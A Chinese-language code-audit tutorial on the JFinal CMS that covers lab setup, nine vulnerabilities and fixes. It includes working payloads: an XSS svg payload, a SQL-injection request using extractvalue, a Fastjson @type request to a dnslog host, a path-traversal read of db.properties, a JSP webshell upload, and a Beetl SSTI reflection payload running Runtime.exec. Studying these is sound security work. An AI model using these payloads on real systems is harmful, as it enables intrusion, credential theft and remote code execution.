JFinal CMS 代码审计与漏洞分析教学文档
一、JFinal CMS 简介
JFinal CMS 是一个基于 Java 开发的功能强大的信息咨询网站系统,采用以下技术栈:
- Web 框架:简洁强大的 JFinal
- 模板引擎:Beetl
- 数据库:MySQL
- 前端框架:Bootstrap
主要功能特点:
- 支持 OAuth2 认证
- 账号注册、密码加密
- 评论及回复功能
- 消息提示系统
- 网站访问量统计
- 文章评论数和浏览量统计
- 完善的权限管理系统
后台功能模块包括:
- 栏目管理、公告管理、滚动图片管理
- 文章管理、回复管理、意见反馈
- 相册管理、图片管理、专辑管理、视频管理
- 缓存更新、友情链接、访问统计
- 联系人管理、模板管理、组织机构管理
- 用户管理、角色管理、菜单管理
- 数据字典管理
二、环境搭建
1. 开发环境要求
- IDE:IntelliJ IDEA 2022
- JDK:1.8.0_112
- Web 服务器:Apache Tomcat 9.0.68
2. 搭建步骤
-
获取源码:
git clone https://github.com/jflyfox/jfinal_cms -
配置编辑器:
修改src/main/webapp/static/component/filemanager/scripts/filemanager.config.js:"fileRoot": "/jfinal_cms/", "baseUrl": "http://127.0.0.1:8081/jfinal_cms/", -
数据库配置:
- 创建数据库:
jflyfox_cms - 导入 SQL 文件
- 修改数据库连接配置:
db_type=mysql mysql.jdbcUrl = jdbc:mysql://127.0.0.1:3306/jflyfox_cms?characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull&allowPublicKeyRetrieval=true&serverTimezone=UTC&useSSL=false mysql.user = root mysql.password = root mysql.driverClass = com.mysql.cj.jdbc.Driver
- 创建数据库:
-
Redis 配置:
# 序列化工具 java,fst CACHE.SERIALIZER.DEFAULT=java # 缓存工具 RedisCache,MemoryCache,MemorySerializeCache CACHE.NAME=MemorySerializeCache #redis redis.host=127.0.0.1 redis.port=6379 redis.maxIdel=300 redis.maxWait=300000 redis.poolTimeWait=300000 redis.password= -
启动应用:
- 运行 Tomcat
- 访问地址:
http://localhost:8081/jfinal_cms/home - 默认账号:
- 管理员:admin/admin123
- 普通用户:test/123456
- 后台地址:
http://localhost:8081/jfinal_cms/admin
三、漏洞分析与利用
1. XSS 漏洞
漏洞位置:src/main/java/com/jflyfox/modules/front/controller/PersonController.java
漏洞分析:
save()方法接收用户输入并直接更新到数据库- 无任何过滤措施
- 前端模板直接输出未转义的用户输入
关键代码:
public void save() {
JSONObject json = new JSONObject();
json.put("status", 2); // 失败
SysUser user = (SysUser) getSessionUser();
int userid = user.getInt("userid");
SysUser model = getModel(SysUser.class);
if (userid != model.getInt("userid")) {
json.put("msg", "提交数据错误!");
renderJson(json.toJSONString());
return;
}
// 直接更新,无过滤
model.update();
}
前端模板:
<div class="col-md-9">
<strong>${user.realname!''}</strong>
<p style="word-break: break-all;word-wrap: break-word;">
${user.remark!'这个家伙太懒了,暂无说明'}
</p>
</div>
利用方式:
修改用户信息时,在 realname 或 remark 字段插入 XSS 代码:
m<svg/onload=alert(1)>
2. SQL 注入漏洞
漏洞位置:src/main/java/com/jflyfox/modules/admin/article/ArticleController.java
漏洞分析:
list()方法直接拼接orderBy参数到 SQL 语句- 未使用预编译处理排序参数
关键代码:
public void list() {
TbArticle model = getModelByAttr(TbArticle.class);
SQLUtils sql = new SQLUtils(" from tb_article t left join tb_folder f on f.id = t.folder_id where 1 = 1 ");
if (model.getAttrValues().length != 0) {
sql.setAlias("t");
sql.whereLike("title", model.getStr("title"));
sql.whereEquals("folder_id", model.getInt("folder_id"));
sql.whereEquals("status", model.getInt("status"));
}
int siteId = getSessionUser().getBackSiteId();
sql.append(" and site_id = " + siteId);
// 直接拼接 orderBy 参数
String orderBy = getBaseForm().getOrderBy();
if (StrUtils.isEmpty(orderBy)) {
sql.append(" order by t.folder_id,t.sort,t.create_time desc ");
} else {
sql.append(" order by t.").append(orderBy);
}
// 执行查询
Db.paginate(getPaginator(), "select t.*,f.name as folder_name ", sql.toString()).renderJson();
}
利用方式:
发送以下请求触发注入:
POST /jfinal_cms/admin/article/list HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 187
form.orderColumn=%2b+0 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))%23&form.orderAsc=&attr.folder_id=256&attr.title=&attr.status=1&totalRecords=1&pageNo=1&pageSize=20&length=10
3. 任意文件上传漏洞
漏洞位置:src/main/java/com/jflyfox/modules/filemanager/FileManagerController.java
漏洞分析:
- 上传文件时未校验文件类型
- 可直接上传 JSP 文件
- 但 JFinal 默认阻止直接访问 JSP 文件
关键代码:
public void upload() {
// 处理文件上传
fm.add(getRequest());
// ...
}
// JFinalFilter 中阻止 JSP 访问
if (constants.getDenyAccessJsp() && isJsp(target)) {
com.jfinal.kit.HandlerKit.renderError404(request, response, isHandled);
return;
}
利用方式:
- 后台访问"模板管理"->"文件上传"
- 上传 JSP 文件(如 webshell)
- 使用 BurpSuite 拦截修改上传请求
绕过限制:
虽然上传了 JSP 文件,但由于 JFinal 的防护机制,无法直接访问。需要结合其他漏洞利用。
4. 目录穿越漏洞
漏洞位置:src/main/java/com/jflyfox/modules/filemanager/FileManager.java
漏洞分析:
currentPath参数可控- 未对路径进行安全校验
- 可结合文件上传或文件读取漏洞利用
关键代码:
try {
currentPath = params.get("currentpath");
respPath = currentPath;
currentPath = new String(currentPath.getBytes("ISO8859-1"), "UTF-8");
currentPath = getFilePath(currentPath);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
5. Fastjson 反序列化漏洞(前台)
漏洞位置:src/main/java/com/jflyfox/api/form/ApiForm.java
漏洞分析:
- 使用 Fastjson 1.2.62 版本(存在已知漏洞)
- 直接解析用户可控的 JSON 数据
关键代码:
private JSONObject getParams() {
JSONObject json = null;
try {
String params = "";
params = this.p;
boolean flag = ConfigCache.getValueToBoolean("API.PARAM.ENCRYPT");
if (flag) {
params = ApiUtils.decode(params);
}
json = JSON.parseObject(params); // 直接解析
} catch (Exception e) {
log.error("apiform json parse fail:" + p);
return new JSONObject();
}
return json;
}
利用方式:
POST /jfinal_cms/api/action/login?version=1.0.1&apiNo=1000000&time=20170314160401 HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
p={"@type":"java.net.Inet4Address","val":"xxx.qjfws9.dnslog.cn"}
6. Fastjson 反序列化漏洞(后台)
漏洞位置:src/main/java/com/baidu/ueditor/ConfigManager.java
漏洞分析:
- 读取 config.json 文件内容并使用 Fastjson 解析
- 攻击者可上传恶意 config.json 文件触发反序列化
关键代码:
private void initEnv() throws FileNotFoundException, IOException {
File file = new File(this.originalPath);
if (!file.isAbsolute()) {
file = new File(file.getAbsolutePath());
}
this.parentPath = file.getParent();
String configContent = this.readFile(this.getConfigPath());
try {
JSONObject jsonConfig = JSONObject.parseObject(configContent); // 反序列化
this.jsonConfig = jsonConfig;
} catch (Exception e) {
this.jsonConfig = null;
}
}
利用方式:
- 上传恶意 config.json 文件
- 访问
http://localhost:8081/jfinal_cms/ueditor触发
7. 任意文件读取漏洞
漏洞位置:src/main/java/com/jflyfox/modules/filemanager/FileManager.java
漏洞分析:
editFile()方法直接读取指定路径文件- 未对路径进行安全校验
关键代码:
public JSONObject editFile() {
JSONObject array = new JSONObject();
try {
String content = FileManagerUtils.readString(getRealFilePath());
content = FileManagerUtils.encodeContent(content);
array.put("Path", this.get.get("path"));
array.put("Content", content);
array.put("Error", "");
array.put("Code", 0);
}
// ...
}
利用方式:
GET /jfinal_cms/admin/filemanager?mode=editfile&path=/web-inf/classes/conf/db.properties&config=filemanager.config.js&time=855 HTTP/1.1
Host: localhost:8081
8. 任意文件下载漏洞
漏洞位置:src/main/java/com/jflyfox/modules/filemanager/FileManagerController.java
漏洞分析:
download()方法直接提供文件下载- 未对路径进行安全校验
关键代码:
public void download(HttpServletResponse resp) {
File file = new File(getRealFilePath());
if (this.get.get("path") != null && file.exists()) {
resp.setHeader("Content-type", "application/force-download");
resp.setHeader("Content-Disposition", "inline;filename=\"" + fileRoot + this.get.get("path"));
resp.setHeader("Content-Transfer-Encoding", "Binary");
resp.setHeader("Content-length", "" + file.length());
resp.setHeader("Content-Type", "application/octet-stream");
resp.setHeader("Content-Disposition", "attachment; filename=\"" + file.getName());
readFile(resp, file);
}
// ...
}
9. SSTI 模板注入漏洞
漏洞分析:
- 使用 Beetl 模板引擎
- 支持
${@类.方法}语法执行 Java 代码 - 虽然限制了
java.lang.Runtime等类的直接使用,但可通过反射绕过
利用方式:
在模板中添加以下代码:
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}
绕过限制:
使用反射调用 Runtime 执行命令:
java.lang.Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
java.lang.Class.forName("java.lang.Runtime")
.getMethod("getRuntime",null)
.invoke(null,null),
"calc"
)
四、修复建议
-
XSS 漏洞:
- 对所有用户输入进行 HTML 实体编码
- 使用 Beetl 的安全输出语法:
${user.realname!''}改为${user.realname,xss!''}
-
SQL 注入:
- 使用预编译语句处理所有 SQL 参数
- 对
orderBy等参数进行白名单校验
-
文件上传漏洞:
- 限制上传文件类型
- 校验文件内容而不仅是扩展名
- 将上传文件存储在非 web 可访问目录
-
Fastjson 漏洞:
- 升级到最新安全版本
- 使用
JSON.parseObject(jsonStr, Feature.SafeMode)安全模式
-
文件操作漏洞:
- 对文件路径进行规范化处理
- 限制文件操作目录范围
- 使用白名单校验允许访问的文件
-
SSTI 漏洞:
- 禁用或限制模板中的 Java 代码执行
- 配置 Beetl 的安全策略
- 对模板编辑权限进行严格控制
-
通用建议:
- 实施最小权限原则
- 对所有用户输入进行严格校验
- 定期进行安全审计和代码审查
- 保持所有依赖库更新到最新安全版本